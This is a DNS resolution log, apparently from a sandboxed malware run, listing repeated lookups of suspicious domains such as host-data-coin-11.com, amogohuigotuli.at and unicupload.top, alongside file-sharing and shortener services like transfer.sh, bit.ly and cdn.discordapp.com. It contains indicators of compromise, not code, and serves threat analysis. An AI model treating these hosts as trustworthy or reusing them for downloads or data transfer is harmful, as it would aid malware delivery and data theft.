Jan 4, 2022 19:32:59.117124081 CET	8.8.8.8	192.168.2.5	0xe35f	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:59.346348047 CET	8.8.8.8	192.168.2.5	0x8438	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:59.693615913 CET	8.8.8.8	192.168.2.5	0xe561	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:59.883378983 CET	8.8.8.8	192.168.2.5	0x704a	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:00.179717064 CET	8.8.8.8	192.168.2.5	0x5d01	No error (0)	unicupload.top		54.38.220.85	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:00.243674040 CET	8.8.8.8	192.168.2.5	0x7970	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:00.487281084 CET	8.8.8.8	192.168.2.5	0xe4e9	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:00.679090023 CET	8.8.8.8	192.168.2.5	0x4743	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:00.875922918 CET	8.8.8.8	192.168.2.5	0x519a	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:01.073401928 CET	8.8.8.8	192.168.2.5	0xd873	No error (0)	data-host-coin-8.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:01.228178024 CET	8.8.8.8	192.168.2.5	0xda71	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:01.433686972 CET	8.8.8.8	192.168.2.5	0x4d1b	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:01.618597984 CET	8.8.8.8	192.168.2.5	0x2fd5	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:03.967916012 CET	8.8.8.8	192.168.2.5	0x976c	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:04.256407022 CET	8.8.8.8	192.168.2.5	0x31e8	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:04.689863920 CET	8.8.8.8	192.168.2.5	0xc580	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:04.959872007 CET	8.8.8.8	192.168.2.5	0x41f1	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:04.959872007 CET	8.8.8.8	192.168.2.5	0x41f1	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:04.959872007 CET	8.8.8.8	192.168.2.5	0x41f1	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:04.959872007 CET	8.8.8.8	192.168.2.5	0x41f1	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:04.959872007 CET	8.8.8.8	192.168.2.5	0x41f1	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:06.735904932 CET	8.8.8.8	192.168.2.5	0x90ad	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:06.956106901 CET	8.8.8.8	192.168.2.5	0x7076	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:07.180413961 CET	8.8.8.8	192.168.2.5	0x9148	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:19.018482924 CET	8.8.8.8	192.168.2.5	0xa28d	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.1	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:19.018482924 CET	8.8.8.8	192.168.2.5	0xa28d	No error (0)	microsoft-com.mail.protection.outlook.com		52.101.24.0	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:19.018482924 CET	8.8.8.8	192.168.2.5	0xa28d	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.0	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:19.018482924 CET	8.8.8.8	192.168.2.5	0xa28d	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.212.0	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:19.018482924 CET	8.8.8.8	192.168.2.5	0xa28d	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.54.36	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:19.018482924 CET	8.8.8.8	192.168.2.5	0xa28d	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.53.36	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:22.009233952 CET	8.8.8.8	192.168.2.5	0x5f1a	No error (0)	patmushta.info		194.87.235.183	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.024240017 CET	8.8.8.8	192.168.2.5	0xc31b	Server failure (2)	srtuiyhuali.at	none	none	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.790396929 CET	8.8.8.8	192.168.2.5	0xd20f	No error (0)	amogohuigotuli.at		152.0.118.227	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.790396929 CET	8.8.8.8	192.168.2.5	0xd20f	No error (0)	amogohuigotuli.at		187.156.124.76	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.790396929 CET	8.8.8.8	192.168.2.5	0xd20f	No error (0)	amogohuigotuli.at		197.44.54.172	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.790396929 CET	8.8.8.8	192.168.2.5	0xd20f	No error (0)	amogohuigotuli.at		110.14.121.125	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.790396929 CET	8.8.8.8	192.168.2.5	0xd20f	No error (0)	amogohuigotuli.at		211.40.39.251	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.790396929 CET	8.8.8.8	192.168.2.5	0xd20f	No error (0)	amogohuigotuli.at		189.129.105.161	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.790396929 CET	8.8.8.8	192.168.2.5	0xd20f	No error (0)	amogohuigotuli.at		61.98.7.132	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.790396929 CET	8.8.8.8	192.168.2.5	0xd20f	No error (0)	amogohuigotuli.at		175.126.109.15	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.790396929 CET	8.8.8.8	192.168.2.5	0xd20f	No error (0)	amogohuigotuli.at		61.98.7.133	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.790396929 CET	8.8.8.8	192.168.2.5	0xd20f	No error (0)	amogohuigotuli.at		151.251.30.69	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:28.468234062 CET	8.8.8.8	192.168.2.5	0x677a	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:28.667419910 CET	8.8.8.8	192.168.2.5	0xeac7	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:28.881932974 CET	8.8.8.8	192.168.2.5	0xaf9d	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:29.113784075 CET	8.8.8.8	192.168.2.5	0x391e	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:29.335551977 CET	8.8.8.8	192.168.2.5	0x269d	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:30.222142935 CET	8.8.8.8	192.168.2.5	0xcc97	No error (0)	amogohuigotuli.at		151.251.30.69	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:30.222142935 CET	8.8.8.8	192.168.2.5	0xcc97	No error (0)	amogohuigotuli.at		152.0.118.227	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:30.222142935 CET	8.8.8.8	192.168.2.5	0xcc97	No error (0)	amogohuigotuli.at		187.156.124.76	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:30.222142935 CET	8.8.8.8	192.168.2.5	0xcc97	No error (0)	amogohuigotuli.at		197.44.54.172	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:30.222142935 CET	8.8.8.8	192.168.2.5	0xcc97	No error (0)	amogohuigotuli.at		110.14.121.125	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:30.222142935 CET	8.8.8.8	192.168.2.5	0xcc97	No error (0)	amogohuigotuli.at		211.40.39.251	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:30.222142935 CET	8.8.8.8	192.168.2.5	0xcc97	No error (0)	amogohuigotuli.at		189.129.105.161	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:30.222142935 CET	8.8.8.8	192.168.2.5	0xcc97	No error (0)	amogohuigotuli.at		61.98.7.132	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:30.222142935 CET	8.8.8.8	192.168.2.5	0xcc97	No error (0)	amogohuigotuli.at		175.126.109.15	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:30.222142935 CET	8.8.8.8	192.168.2.5	0xcc97	No error (0)	amogohuigotuli.at		61.98.7.133	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:31.466578007 CET	8.8.8.8	192.168.2.5	0x12fe	No error (0)	amogohuigotuli.at		151.251.30.69	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:31.466578007 CET	8.8.8.8	192.168.2.5	0x12fe	No error (0)	amogohuigotuli.at		152.0.118.227	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:31.466578007 CET	8.8.8.8	192.168.2.5	0x12fe	No error (0)	amogohuigotuli.at		187.156.124.76	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:31.466578007 CET	8.8.8.8	192.168.2.5	0x12fe	No error (0)	amogohuigotuli.at		197.44.54.172	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:31.466578007 CET	8.8.8.8	192.168.2.5	0x12fe	No error (0)	amogohuigotuli.at		110.14.121.125	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:31.466578007 CET	8.8.8.8	192.168.2.5	0x12fe	No error (0)	amogohuigotuli.at		211.40.39.251	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:31.466578007 CET	8.8.8.8	192.168.2.5	0x12fe	No error (0)	amogohuigotuli.at		189.129.105.161	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:31.466578007 CET	8.8.8.8	192.168.2.5	0x12fe	No error (0)	amogohuigotuli.at		61.98.7.132	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:31.466578007 CET	8.8.8.8	192.168.2.5	0x12fe	No error (0)	amogohuigotuli.at		175.126.109.15	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:31.466578007 CET	8.8.8.8	192.168.2.5	0x12fe	No error (0)	amogohuigotuli.at		61.98.7.133	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.120434046 CET	8.8.8.8	192.168.2.5	0xc397	No error (0)	unic11m.top		54.38.220.85	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.514951944 CET	8.8.8.8	192.168.2.5	0x4747	No error (0)	amogohuigotuli.at		61.98.7.133	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.514951944 CET	8.8.8.8	192.168.2.5	0x4747	No error (0)	amogohuigotuli.at		151.251.30.69	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.514951944 CET	8.8.8.8	192.168.2.5	0x4747	No error (0)	amogohuigotuli.at		152.0.118.227	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.514951944 CET	8.8.8.8	192.168.2.5	0x4747	No error (0)	amogohuigotuli.at		187.156.124.76	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.514951944 CET	8.8.8.8	192.168.2.5	0x4747	No error (0)	amogohuigotuli.at		197.44.54.172	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.514951944 CET	8.8.8.8	192.168.2.5	0x4747	No error (0)	amogohuigotuli.at		110.14.121.125	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.514951944 CET	8.8.8.8	192.168.2.5	0x4747	No error (0)	amogohuigotuli.at		211.40.39.251	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.514951944 CET	8.8.8.8	192.168.2.5	0x4747	No error (0)	amogohuigotuli.at		189.129.105.161	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.514951944 CET	8.8.8.8	192.168.2.5	0x4747	No error (0)	amogohuigotuli.at		61.98.7.132	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.514951944 CET	8.8.8.8	192.168.2.5	0x4747	No error (0)	amogohuigotuli.at		175.126.109.15	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.146827936 CET	8.8.8.8	192.168.2.5	0xaf8d	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.357781887 CET	8.8.8.8	192.168.2.5	0x10d6	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.439455032 CET	8.8.8.8	192.168.2.5	0xffce	No error (0)	unicupload.top		54.38.220.85	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.577033997 CET	8.8.8.8	192.168.2.5	0xc629	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.772905111 CET	8.8.8.8	192.168.2.5	0x5b0c	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.882680893 CET	8.8.8.8	192.168.2.5	0xe0bf	No error (0)	amogohuigotuli.at		61.98.7.132	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.882680893 CET	8.8.8.8	192.168.2.5	0xe0bf	No error (0)	amogohuigotuli.at		175.126.109.15	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.882680893 CET	8.8.8.8	192.168.2.5	0xe0bf	No error (0)	amogohuigotuli.at		61.98.7.133	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.882680893 CET	8.8.8.8	192.168.2.5	0xe0bf	No error (0)	amogohuigotuli.at		151.251.30.69	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.882680893 CET	8.8.8.8	192.168.2.5	0xe0bf	No error (0)	amogohuigotuli.at		152.0.118.227	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.882680893 CET	8.8.8.8	192.168.2.5	0xe0bf	No error (0)	amogohuigotuli.at		187.156.124.76	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.882680893 CET	8.8.8.8	192.168.2.5	0xe0bf	No error (0)	amogohuigotuli.at		197.44.54.172	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.882680893 CET	8.8.8.8	192.168.2.5	0xe0bf	No error (0)	amogohuigotuli.at		110.14.121.125	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.882680893 CET	8.8.8.8	192.168.2.5	0xe0bf	No error (0)	amogohuigotuli.at		211.40.39.251	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.882680893 CET	8.8.8.8	192.168.2.5	0xe0bf	No error (0)	amogohuigotuli.at		189.129.105.161	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:35.024795055 CET	8.8.8.8	192.168.2.5	0x8a73	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:35.226968050 CET	8.8.8.8	192.168.2.5	0x5e72	No error (0)	bit.ly		67.199.248.11	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:35.226968050 CET	8.8.8.8	192.168.2.5	0x5e72	No error (0)	bit.ly		67.199.248.10	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:35.423835993 CET	8.8.8.8	192.168.2.5	0x4282	No error (0)	bitly.com		67.199.248.15	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:35.423835993 CET	8.8.8.8	192.168.2.5	0x4282	No error (0)	bitly.com		67.199.248.14	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:35.630799055 CET	8.8.8.8	192.168.2.5	0x3f02	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:35.820178032 CET	8.8.8.8	192.168.2.5	0x95fd	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:36.348193884 CET	8.8.8.8	192.168.2.5	0x1073	No error (0)	data-host-coin-8.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:39.769187927 CET	8.8.8.8	192.168.2.5	0x701e	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:40.029031992 CET	8.8.8.8	192.168.2.5	0x2760	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:40.223347902 CET	8.8.8.8	192.168.2.5	0xa59c	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:40.438524961 CET	8.8.8.8	192.168.2.5	0x9126	No error (0)	bit.ly		67.199.248.11	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:40.438524961 CET	8.8.8.8	192.168.2.5	0x9126	No error (0)	bit.ly		67.199.248.10	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:40.650187969 CET	8.8.8.8	192.168.2.5	0x5442	No error (0)	www.mediafire.com		104.16.203.237	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:40.650187969 CET	8.8.8.8	192.168.2.5	0x5442	No error (0)	www.mediafire.com		104.16.202.237	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:41.363959074 CET	8.8.8.8	192.168.2.5	0x6e9f	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:41.579073906 CET	8.8.8.8	192.168.2.5	0x6967	No error (0)	bit.ly		67.199.248.11	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:41.579073906 CET	8.8.8.8	192.168.2.5	0x6967	No error (0)	bit.ly		67.199.248.10	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:41.771428108 CET	8.8.8.8	192.168.2.5	0xecbb	No error (0)	www.mediafire.com		104.16.203.237	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:41.771428108 CET	8.8.8.8	192.168.2.5	0xecbb	No error (0)	www.mediafire.com		104.16.202.237	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:42.485076904 CET	8.8.8.8	192.168.2.5	0x8583	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:42.689954042 CET	8.8.8.8	192.168.2.5	0xdb32	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:42.895642042 CET	8.8.8.8	192.168.2.5	0xda5b	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:43.105460882 CET	8.8.8.8	192.168.2.5	0xace2	No error (0)	goo.su		172.67.139.105	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:43.105460882 CET	8.8.8.8	192.168.2.5	0xace2	No error (0)	goo.su		104.21.38.221	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:43.549119949 CET	8.8.8.8	192.168.2.5	0xe291	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:43.774574041 CET	8.8.8.8	192.168.2.5	0xbe44	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:43.963344097 CET	8.8.8.8	192.168.2.5	0x50d2	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:44.144305944 CET	8.8.8.8	192.168.2.5	0xfbff	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:44.378165007 CET	8.8.8.8	192.168.2.5	0xb809	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:46.598094940 CET	8.8.8.8	192.168.2.5	0xfe7d	No error (0)	amogohuigotuli.at		189.129.105.161	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:46.598094940 CET	8.8.8.8	192.168.2.5	0xfe7d	No error (0)	amogohuigotuli.at		61.98.7.132	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:46.598094940 CET	8.8.8.8	192.168.2.5	0xfe7d	No error (0)	amogohuigotuli.at		175.126.109.15	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:46.598094940 CET	8.8.8.8	192.168.2.5	0xfe7d	No error (0)	amogohuigotuli.at		61.98.7.133	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:46.598094940 CET	8.8.8.8	192.168.2.5	0xfe7d	No error (0)	amogohuigotuli.at		151.251.30.69	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:46.598094940 CET	8.8.8.8	192.168.2.5	0xfe7d	No error (0)	amogohuigotuli.at		152.0.118.227	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:46.598094940 CET	8.8.8.8	192.168.2.5	0xfe7d	No error (0)	amogohuigotuli.at		187.156.124.76	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:46.598094940 CET	8.8.8.8	192.168.2.5	0xfe7d	No error (0)	amogohuigotuli.at		197.44.54.172	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:46.598094940 CET	8.8.8.8	192.168.2.5	0xfe7d	No error (0)	amogohuigotuli.at		110.14.121.125	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:46.598094940 CET	8.8.8.8	192.168.2.5	0xfe7d	No error (0)	amogohuigotuli.at		211.40.39.251	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.917447090 CET	8.8.8.8	192.168.2.5	0xbcb0	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.917687893 CET	8.8.8.8	192.168.2.5	0x75bd	No error (0)	amogohuigotuli.at		151.251.30.69	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.917687893 CET	8.8.8.8	192.168.2.5	0x75bd	No error (0)	amogohuigotuli.at		152.0.118.227	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.917687893 CET	8.8.8.8	192.168.2.5	0x75bd	No error (0)	amogohuigotuli.at		187.156.124.76	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.917687893 CET	8.8.8.8	192.168.2.5	0x75bd	No error (0)	amogohuigotuli.at		197.44.54.172	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.917687893 CET	8.8.8.8	192.168.2.5	0x75bd	No error (0)	amogohuigotuli.at		110.14.121.125	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.917687893 CET	8.8.8.8	192.168.2.5	0x75bd	No error (0)	amogohuigotuli.at		211.40.39.251	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.917687893 CET	8.8.8.8	192.168.2.5	0x75bd	No error (0)	amogohuigotuli.at		189.129.105.161	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.917687893 CET	8.8.8.8	192.168.2.5	0x75bd	No error (0)	amogohuigotuli.at		61.98.7.132	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.917687893 CET	8.8.8.8	192.168.2.5	0x75bd	No error (0)	amogohuigotuli.at		175.126.109.15	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.917687893 CET	8.8.8.8	192.168.2.5	0x75bd	No error (0)	amogohuigotuli.at		61.98.7.133	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:48.173059940 CET	8.8.8.8	192.168.2.5	0xe695	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:48.355176926 CET	8.8.8.8	192.168.2.5	0xe22	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:48.546367884 CET	8.8.8.8	192.168.2.5	0xf446	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:48.801156044 CET	8.8.8.8	192.168.2.5	0xe2bc	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:49.633609056 CET	8.8.8.8	192.168.2.5	0xf5c2	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:50.536936998 CET	8.8.8.8	192.168.2.5	0x229b	No error (0)	f0616068.xsph.ru		141.8.193.236	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.859932899 CET	8.8.8.8	192.168.2.5	0x552e	No error (0)	amogohuigotuli.at		189.129.105.161	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.859932899 CET	8.8.8.8	192.168.2.5	0x552e	No error (0)	amogohuigotuli.at		61.98.7.132	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.859932899 CET	8.8.8.8	192.168.2.5	0x552e	No error (0)	amogohuigotuli.at		175.126.109.15	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.859932899 CET	8.8.8.8	192.168.2.5	0x552e	No error (0)	amogohuigotuli.at		61.98.7.133	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.859932899 CET	8.8.8.8	192.168.2.5	0x552e	No error (0)	amogohuigotuli.at		151.251.30.69	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.859932899 CET	8.8.8.8	192.168.2.5	0x552e	No error (0)	amogohuigotuli.at		152.0.118.227	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.859932899 CET	8.8.8.8	192.168.2.5	0x552e	No error (0)	amogohuigotuli.at		187.156.124.76	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.859932899 CET	8.8.8.8	192.168.2.5	0x552e	No error (0)	amogohuigotuli.at		197.44.54.172	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.859932899 CET	8.8.8.8	192.168.2.5	0x552e	No error (0)	amogohuigotuli.at		110.14.121.125	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.859932899 CET	8.8.8.8	192.168.2.5	0x552e	No error (0)	amogohuigotuli.at		211.40.39.251	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.861382008 CET	8.8.8.8	192.168.2.5	0x20b7	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.048371077 CET	8.8.8.8	192.168.2.5	0x7863	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.254973888 CET	8.8.8.8	192.168.2.5	0x5562	No error (0)	vk.com		87.240.190.72	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.254973888 CET	8.8.8.8	192.168.2.5	0x5562	No error (0)	vk.com		87.240.190.78	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.254973888 CET	8.8.8.8	192.168.2.5	0x5562	No error (0)	vk.com		93.186.225.208	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.254973888 CET	8.8.8.8	192.168.2.5	0x5562	No error (0)	vk.com		87.240.139.194	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.254973888 CET	8.8.8.8	192.168.2.5	0x5562	No error (0)	vk.com		87.240.137.158	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.254973888 CET	8.8.8.8	192.168.2.5	0x5562	No error (0)	vk.com		87.240.190.67	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.895823956 CET	8.8.8.8	192.168.2.5	0x6dd4	No error (0)	amogohuigotuli.at		151.251.30.69	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.895823956 CET	8.8.8.8	192.168.2.5	0x6dd4	No error (0)	amogohuigotuli.at		152.0.118.227	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.895823956 CET	8.8.8.8	192.168.2.5	0x6dd4	No error (0)	amogohuigotuli.at		187.156.124.76	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.895823956 CET	8.8.8.8	192.168.2.5	0x6dd4	No error (0)	amogohuigotuli.at		197.44.54.172	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.895823956 CET	8.8.8.8	192.168.2.5	0x6dd4	No error (0)	amogohuigotuli.at		110.14.121.125	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.895823956 CET	8.8.8.8	192.168.2.5	0x6dd4	No error (0)	amogohuigotuli.at		211.40.39.251	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.895823956 CET	8.8.8.8	192.168.2.5	0x6dd4	No error (0)	amogohuigotuli.at		189.129.105.161	A (IP address)	IN (0x0001)
